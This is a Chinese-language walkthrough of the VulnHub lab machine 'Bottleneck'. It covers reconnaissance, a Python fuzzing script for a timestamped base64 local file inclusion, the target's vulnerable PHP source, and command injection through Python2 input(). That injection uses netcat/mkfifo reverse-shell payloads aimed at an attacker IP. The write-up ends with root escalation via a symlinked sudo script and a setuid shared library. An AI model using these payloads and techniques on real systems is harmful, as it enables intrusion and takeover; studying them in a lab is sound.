靶機地址:
https://www.vulnhub.com/entry/bottleneck-1,374/難度:中等
靶機發布日期:2019年9月28日本文作者:
掣雷團隊內部成員-ins1ght
作者CSDN博客:
靶機描述:Bottleneck is an intermediate boot2root machine.After some cyber attacks the admin hardened the system, show him that it's not so secure.If you need a hint feel free to contact me on Twitter: @bytevsbyt3工具、知識點和漏洞
netdiscover
nmap
dirsearch
dirb
gobuster
metaspaloit
gcc
LFI漏洞
編寫python腳本
python2 input漏洞getshell
0x00 信息收集靶機IP:192.168.0.107
netdiscover -r 192.168.0.0/24埠和服務
nmap -sS -sV -T4 -A -p- 192.168.0.107頁面、目錄枚舉
dirb http://192.168.0.107 -X .php,.txt,.zip,.htmlpython3 dirsearch.py -u http://192.168.0.109 -e .php,.txt,.zip,.htmlgobuster dir -u http://192.168.0.107 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip
枚舉結果匯總
/css
/img
/js
/vendor
/index.php
/image_gallery.php
首頁(index.php)
0x01 發現LFI漏洞發現這個img標籤的src的值有點特別,對其進行base64解碼,得到圖片名稱bottleneck_dontbe.png
在img目錄可以正常訪問該圖片,且就是img標籤顯示的圖片
使用firefox的開發者功能發現,每次訪問
http://192.168.0.107/image_gallery.php頁面時,
會發送一次請求
並且返回的結果是png的數據流
猜測這裡可能存在本地文件包含漏洞(LFI)
編輯請求參數的值,然後進行重發。最初用的是Burpsuite的Repeater模塊,結果發現Response狀態碼是200,但並沒有響應內容。
當然你也可以用firefox瀏覽器的開發者功能進行編輯重發,如下圖所示
隨後我使用瀏覽器的開發者功能對請求
進行編輯重發。在編輯的過程中,我並未修改參數t和f的值,只是打開了編輯頁面,然後直接點擊了開發者功能板塊右上角Send按鈕,Response的狀態碼是200,但Content卻是空的。隨後我又多次訪問image_gallery.php頁面,觀察請求png數據流的參數,發現參數t的值每次都發生變化,並且與之前相同的是,重發後不再得到png的數據流,結合參數t的名稱,我猜測這個參數t指的應該是time。也就是說我們的t值必須與伺服器上的時間計時器一致。
在Twitter上聯繫靶機作者,確認了我的推斷,作者使用了時間戳
時間戳(timestamp)分析
從上圖中兩個時間戳(方框中的kali系統當前時間的時間戳,橢圓中的時間戳是靶機上的)可以看出,我的kali系統與靶機處於同一時區,這裡由於手速的問題,兩個時間戳的數值相差1。但我們可以基本斷定:kali的系統時間與靶機的系統時間是一致的,這也就解決了時間戳的問題。
這裡給出我的kali系統的時區。小弟雖然英語沒過4級,但用的語言卻TM是英文,包括我的宿主機Ubuntu……有一點兒裝了
針對這個漏洞我編寫了一個Python腳本
import datetimeimport timeimport requestsimport base64import argparse
def sendRequest(fuzzWordlist, url): wordlistFile = open(fuzzWordlist,'r') for line in wordlistFile.readlines(): word = line.strip('\r').strip('\n') payload = base64.b64encode(word.encode("utf-8")) dtime = datetime.datetime.now() t = int(time.mktime(dtime.timetuple())) print 'timestamp:' + str(t) print 'base64:' + payload
try: URL = url print URL PARAMS = { 't':t, 'f':payload}
r = requests.get(url = URL, params = PARAMS) file = open("/root/Desktop/response.txt", "a+") name = '---' + word +' begin---\r' file.write(name) file.write(r.content) name = '---' + word +' end---\r\r' file.write(name) file.close() except: pass
def main(): parser = argparse.ArgumentParser(description='timestamp') parser.add_argument("--w") parser.add_argument("--url") args = parser.parse_args() url = args.url fuzzWordlist = args.w sendRequest(fuzzWordlist, url)
if __name__ == '__main__': main()
測試過程中使用的字典如下:
bottleneck_dontbe.png/etc/passwd../../../etc/passwd../../../../etc/passwd
最開始字典文件裡面只放了bottleneck_dontbe.png一個payload,使用bottleneck_dontbe.png作為payload的目的是想測試一下腳本是否可用。由於我代碼裡是把獲取到的response.content保存到一個文本文件中了,所以獲取到內容之後,直接修改文件類型為png,發現可以正常查看圖片,說明腳本可用。
隨後使用上面列表裡的三個payload,每一個都得到了如下的結果,
圖中的一些內容並不是response.content中的,只是為了測試方便自己增加的
說來你可能不信,得到上面的結果之後沒一會兒,靶機的作者在Twitter上聯繫我,問我做的怎麼樣了,我自己都覺得意外,於是乎有了下面的對話
面對如此熱心腸的大兄弟我怎麼能不努力?隨後我使用payload:
讀取了的原始碼,關鍵部分如下
從原始碼中可以知道還有一個頁面image_gallery_load.php,於是使用下面的payload一次性讀取了下面三個文件的原始碼:
../index.php../image_gallery_load.php../image_gallery.php
另外還有原始碼開頭的changlog
I've fixed that problem that @p4w and @ska notified me after hacker attack.Shit I'm too lazy to make a big review of my code.I think that the LFI problem can be mitigated with the blacklist.By the way to protect me from attackers, all malicious requests are immediately sent to the SOC
最終發現了關鍵部分是在image_gallery_load.php
<?phpfunction print_troll(){ $messages = $GLOBALS['messages']; $troll = $GLOBALS['troll']; echo $messages[0]; echo $troll;}
$troll = <<<EOT<pre> _,..._ /__ \ >< `. \ /_ \ | \-_ /:| ,--'..'. : ,' `. _,' \ _.._,--'' , | , ,',, _| _,.'| | | \\||/,'(,' '--'' | | | _ ||| | /-' | | | (- -)<`._ | / / | | \_\O/_/`-.(<< |____/ / | | / \ / -'| `--.'| | | \___/ / / | | H H / | | |_|_..-H-H--.._ / ,| | |-.._"_"__..-| | _-/ | | | | | | \_ | | | | | | | | | |____| | | | | _..' | |____| | |_(____..._' _.' | `-..______..-'"" (___..--'<pre>EOT;
if(!isset($_GET['t']) || !isset($_GET['f'])){ exit();}
$imagefile = base64_decode($_GET['f']);$timestamp = time();$isblocked = FALSE;$blacklist = array('/etc','/opt','/var','/opt','/proc','/dev','/lib','/bin','/usr','/home','/ids');$messages = array("\nLet me throw away your nice request into the bin.\n". "The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastructructure I will take strong legal measures.\n". "Why don't you wait on your chair until someone (maybe the police) knock on your door?\n\n");
if(abs($_GET['t'] - $timestamp) > 10){ exit();}foreach($blacklist as $elem){ if(strstr($imagefile, $elem) !== FALSE) $isblocked = TRUE;}if($isblocked){ $logfile = 'intrusion_'.$timestamp; $fp = fopen('/var/log/soc/'.$logfile, 'w'); fwrite($fp, "'".$imagefile."'"); fclose($fp); exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1'); print_troll(); exit();}chdir('img');$filecontent = file_get_contents($imagefile);if($filecontent === FALSE){ print_troll();}else{ echo $filecontent;}chdir('../');
?>
除了有backlist,還發現了有執行python腳本的代碼
exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');
雖然我不知道ids_strong_bvb.py裡面的內容是什麼,但可以猜測是對soc日誌文件進行處理,並將結果輸出到/tmp/output中。由於/tmp不在blacklist中,我們應該是可以讀取這個文件的,問題就是「當前的位置(pwd)」是在/img目錄下,我們應該向上跳幾級目錄才能到根目錄下?
Linux中用..表示上一級目錄,例如,我們當前在/img目錄下,如果webroot是/var/www/html,那麼從/img目錄跳到上一級目錄就到達了/html。在Linux命令行中相當於執行了cd ..
Linux shell中,<表示從文件中讀取內容,結合到上面的代碼就是從/var/log/soc/*文件中讀取日誌;>表示向文件輸出內容,結合到上面的代碼就是輸出腳本執行結果到/tmp/output文件
腳本的好處就是不需要人工一個一個去測試,使用前面的腳本,wordlist如下
/etc/passwd../tmp/output../../tmp/output../../../tmp/output../../../../tmp/output../../../../../tmp/output../../../../../../tmp/output../../../../../../../tmp/output../../../../../../../../../tmp/output/../../../tmp/output/../../../../tmp/output/../../../../../tmp/output/../../../../../../tmp/output/../../../../../../../tmp/output
最開始的時候上面列表中的payload全都獲取不到數據,加上我沒有仔細看image_gallery_load.php的原始碼,誤以為返回的結果只要是「丟垃圾」的那個圖,那麼就是payload不對。後來發現列印「丟垃圾」圖的位置有兩個,第一個是檢測到參數f的值在blacklist中的時;第二個是參數f對應的文件為空時。而我正是中了「文件為空」的毒。
先仔細看下面兩段代碼
foreach($blacklist as $elem){ if(strstr($imagefile, $elem) !== FALSE) $isblocked = TRUE;} if($isblocked){ $logfile = 'intrusion_'.$timestamp; $fp = fopen('/var/log/soc/'.$logfile, 'w'); fwrite($fp, "'".$imagefile."'"); fclose($fp); exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1'); print_troll(); exit();}
意思就是,在timestamp正確的情況下,如果被黑名單檢測到,那麼就會在/tmp/output文件中生成log。由於之前我們請求了/etc/passwd文件,所以/tmp/out裡面有內容才對。可是現在為什麼是空的呢?你可能想說,會不會是payload不對?wordlist裡面我從向上一級目錄到九級目錄,這作者總不能變態到需要向上十級目錄吧。所以我的結論是:雖然我不知道具體要向上多少級目錄,但總在1~9之間。
那為什麼文件是空的呢?被什麼東西清空了唄!你還能想到其他的可能性嗎?這也就是上面列表中為什麼我的第一個payload是/etc/passwd。我故意先發送一個黑名單請求,讓系統在/tmp/output裡面生成日誌,之後再讀取。
python timestamp.py --w wordlist.txt --url http:對於用這個/tmp/output怎麼反彈shell我是懵的。之前看過利用apache log文件、smtp log文件、ssh auth log文件來反彈shell,所以我這裡硬著頭皮也試了一下,結果頭撞到鐵板上了。
不過呢,我們仍然是有所收穫的。從上圖中看到當我們嘗試使用payload:
/etc/passwd<?php system($_GET['cmd'])?>發送請求之後,python腳本處理日誌的時候出現了錯誤。因為實在不知道接下來怎麼處理了,而且由於這個靶機是2019年9月28號發布的,到現在也才20天不到,網上搜Walkthrough也搜不到,做肯定是有人做出來的,只是可能沒有把Walkthrough發布到網上,或者搜尋引擎還沒有收錄(人生苦短,我用Google)所以只好到Twitter上詢問靶機的作者。
我把我的思路和嘗試過程跟作者說了一下,10小時後作者給了回復。
0x02 getshell搜索"python2 input 漏洞",閱讀了以下文章:
https://xz.aliyun.com/t/2289https://xz.aliyun.com/t/2289https://www.cnblogs.com/heycomputer/articles/10537633.html國外文章不知道沒Tizi能不能正常訪問……不過沒關係,主要內容就是下面這張圖裡展示的
如果我們在知道pyhon2 input 函數存在漏洞的情況下,結合腳本的出錯信息
data = str(input('report: ')以及正常情況下寫入的錯誤日誌
report: [+] sending the message: /etc/passwd就可以斷定後續是利用input這個漏洞作文章了。
看過上面的文章之後我在自己的宿主機Ubuntu上進行了如下的嘗試:
我先調用Python解釋器與其進行交互,隨後輸入input()函數,接著輸入了
__import__('os').system("uname -a")意思是引入os模塊,執行uname -a命令,查看內核信息。從結果上來看是執行成功了的;隨後我想反彈shell到kali的1234埠,於是輸入了
__import__('os').system("nc -e /bin/bash 192.168.0.108 1234"),結果提示nc:無效選項-'e',一開始以為是我Ubuntu上的nc版本有問題,然後也沒管。隨後在kali上重複了反彈shell的操作,在Ubuntu上監聽,結果就可以了。
後記:這裡確實是Ubuntu上的nc的問題,安全起見,默認不允許使用 -e選項
之後搜索了一下nc: invalid option -- 'e',最先發現了國內的這篇文章:
但是在修復的過程中發現與我的實際情況有出入。
文中/etc/alternatives/nc 指向的是 /bin/nc.traditional,而我這裡的情況如上圖所示。後來找到了StackExchange上的這個提問:
進行了嘗試,還是不行,訪問被拒絕。這個問題先放一放……至少在kali上是成功了的,相當於理論基礎有了,哈哈哈
轉入正題,第一次嘗試反彈shell,失敗。payload為:
/etc'__import__('os').system('nc -e /bin/bash 192.168.0.108 1234') and'第二次嘗試,失敗。payload為:
/etc' and __import__('os').system('nc -e /bin/bash 192.168.0.108 1234') and'看到上面的錯誤了沒?是不是跟之前本地測試的時候一模一樣,果然,你可以放過問題,但問題從來不會放過你,哈哈哈。
第三次嘗試,失敗。payload為:
/etc' and __import__('os').system('rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 >/tmp/f') and'這種方式也就是nc的正向shell。所謂正向是指,攻擊機(kali)主動連接靶機上的shell。從操作順序而言就是靶機先執行如下命令:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 >/tmp/f'然後kali使用如下命令去連接靶機的shell:
接著我嘗試了反向shell,也就是先在kali使用nc監聽埠,然後靶機反彈shell,成功獲取shell。payload為:
/etc' and __import__("os").system("rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.108 1234 >/tmp/f") and'接收反彈的shell也可以用MSF
msfconsoleuse exploit/multi/handlerset payload cmd/unix/reverse_netcat_gapingshow optionsset lhost 192.168.0.108set lport 1234run
0x03 提權關於Linux提權,可以直接用腳本搜集一下對於提權有用的信息,比如用linuxprivchecker.py
LinEnum.sh
如果你想熟悉一下沒有腳本的情況下怎麼收集這些信息可以參考privilege_escalation_-_linux
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html
先在kali上開啟HTTP服務
python -m SimpleHTTPServer 65534使用wget下載linuxprivchecker.py腳本到靶機的tmp目錄
因為本人所在的地理位置不允許直接訪問Github,所以我是從自己的kali下載的
cd /tmpwget http://192.168.0.108:65534/Desktop/linuxprivchecker.py為了便於查看收集到的信息,我將結果輸出到report.txt文本中
python linuxprivchecker.py > report.txt
靶機做了這麼些後發現還是手動收集更快……,手動收集不到有效信息的情況下再嘗試用腳本,因為腳本搜集的東西多到能讓你看那麼一會兒。
這裡我先進行手動信息收集,過程如下:SUID權限可執行文件,除了發現/usr/bin/at可疑,別的沒啥
find / -perm -u=s -type f 2>/dev/null使用searchsploit工具搜索 /usr/bin/at
但是這個漏洞是針對Tru64 Unix的
Tru64 UNIX is a discontinued 64-bit UNIX operating system for the Alpha instruction set architecture (ISA), currently owned by Hewlett-Packard (HP). Previously, Tru64 UNIX was a product of Compaq, and before that, Digital Equipment Corporation (DEC), where it was known as Digital UNIX (originally DEC OSF/1 AXP).
全局用戶可寫文件,發現一堆,但是極大多數都是沒用的,所以我先把結果輸出到文本文件,然後使用grep加上關鍵字去篩選。
find / -writable -type f 2>/dev/null >/tmp/report.txtgrep -Ev '/proc|/sys' /tmp/report.txt
查找sudo權限命令
發現clear_logs是一個軟連結,實體文件為/opt/clear_logs.sh,但是只有bytevsbyte用戶有修改權限
用linuxprivchecker.py跑一下網絡信息lo:
flags=73<UP,LOOPBACK,RUNNING> mtu 65536安裝的軟體tcpdump 4.9.2-3 command-line network traffic analyzerSudo version 1.8.27(最新的提權漏洞,但只影響小部分非標準配置的系統。我在自己的宿主機Ubuntu 18.04.3 LTS上測試成功。但是靶機上無法使用)
再用LinEnum.sh跑一下/usr/bin/screen(exploit-db上PoC中的版本是4.05.00,而這裡是4.06.02,你可能想試一下,但是靶機上沒有安裝gcc……)
現在能夠想到的思路就是切換到bytevsbyte用戶,然後看看/opt/clear_logs.sh能不能利用一下,/opt/clear_logs.sh應該是被計劃任務調用的,沒準對應的計劃任務是root權限執行的。
關於如何切換到bytevsbyte用戶,這裡我們使用clear_logs這個軟連結。通過執行sudo -l我們發現clear_logs可以被www-data用戶無密碼執行,但是(關鍵的東西總是從但是開始)只能作為bytevsbyte用戶去執行,也就是說擁有的權限也只是bytevsbyte權限,而不是root權限。所以我們可以修改clear_logs軟連結的指向,是其指向我們的腳本,隨後運行clear_logs使www-data用戶變成bytevsbyte。下面是過程:
kali創建文件clear_logs,開啟HTTP服務,然後使用wget下載clear_logs到靶機,在使用wget下載的時候加上-O【大寫英文字母O】選項將下載的文件「重命名」為clear_logs_copy,內容如下:
cd /var/www/html/web_untilswget -O clear_logs_copy http:
如果你想直接覆蓋clear_logs軟連結,你可能會遇到下圖顯示的權限問題
原因是:雖然www-data用戶擁有clear_logs的所有權限,但是當我們覆蓋clear_logs的時候實際上修改卻是/opt/clear_logs.sh。這裡的解決辦法是先修改clear_logs軟連結的指向,使其指向wget下載的文件clear_logs_copy。還有很關鍵的一步,記得要給clear_logs_copy賦予可執行權限,因為wget下載之後,clear_logs_copy並沒有可執行權限。如果你沒有給它可執行權限,那麼在最後執行命令的時候,會出現下圖中的錯誤,command not found:
賦予可執行權限
chmod 777 clear_logs_copy使用ln -snf修改軟連結的指向,使其指向我們的腳本。
ln -snf /var/www/html/web_utils/clear_logs_copy /var/www/html/web_utils/clear_logs執行/var/www/html/web_utils/clear_logs,切換到bytevsbyte用戶,隨後我們讀取到了bytevsbyte用戶的flag
sudo後面一定要指定用戶為bytevsbyte,不然會讓我們輸入www-data的密碼
sudo -ubytevsbyte /var/www/html/web_untils/clear_logs現在我們變成了bytevsbyte用戶,還記得之前的思路嗎?/opt/clear_logs.sh應該是被某個計劃任務調用的,所以我這裡執行crontab -l查看了計劃任務,確實有一個計劃任務調用/opt/clear_logs.sh,但是也只是bytevsbyte用戶權限,而不是root用戶權限。
crontab -l,如不指定用戶,則顯示的是當前用戶的計劃任務。
重新執行一遍查找SUID可執行文件的命令,發現/usr/test/testlib。
為什麼要重新執行?因為文件有權限。www-data和bytevsbyte所屬的用戶組不同。bytevsbyte屬於tester用戶組,而只有tester用戶可以讀取/usr/test目錄下的內容。
在SUID可執行文件的同目錄下還有它的原始碼,內容如下:
#include <dlfcn.h>#include <unistd.h>
int main(int argc, char *argv[]){ void *handle; int (*function)(); if(argc < 2) return 1; handle = dlopen(argv[1], RTLD_LAZY); function = dlsym(handle, "test_this"); function(); return 0;}
首先程序需要一個用戶輸入的參數,否則直接返回1;然後將用戶輸入的參數作為動態連結庫文件的名稱,dlopen以指定模式打開動態連接庫文件,並返回一個句柄給調用進程;dlsym通過句柄和連接符名稱獲取函數名或者變量名。
對這麼「深入」的C語言代碼不是很懂,我現在能夠想到的方法就是:第一,找到靶機裡面對應的動態連接庫文件(可能有);第二,自己寫出可以實現相同功能的C語言代碼,然後編譯成動態連結庫文件;第三,可能這兩個函數存在漏洞,可以構造特殊的字符串,以達到目的。
網上一番搜索找到如下exp,Github連結
下面是我們的程序test_this.c,這裡需要我們修改函數的名稱為test_this,必須是這個,因為/usr/test/testlib原始碼裡使用的函數名稱就是這個。
#include <stdio.h>#include <stdlib.h>#include <sys/types.h>#include <unistd.h>void test_this(){setuid(0); setgid(0); system("/bin/sh");}
gcc編譯時出現如下錯誤,原因是Github上的exp沒有包含system函數的頭文件,執行man system命令後,發現頭文件為#include <stdlib.h>,添加頭文件後,重新編譯通過。
gcc -fPIC -shared test_this.c -o test_this.so將我們的動態連結庫文件下載到靶機,並賦予可執行權限,我直接給的777,隨後運行/usr/test/testlib,成功提權
/usr/test/testlib /tmp/test_this.so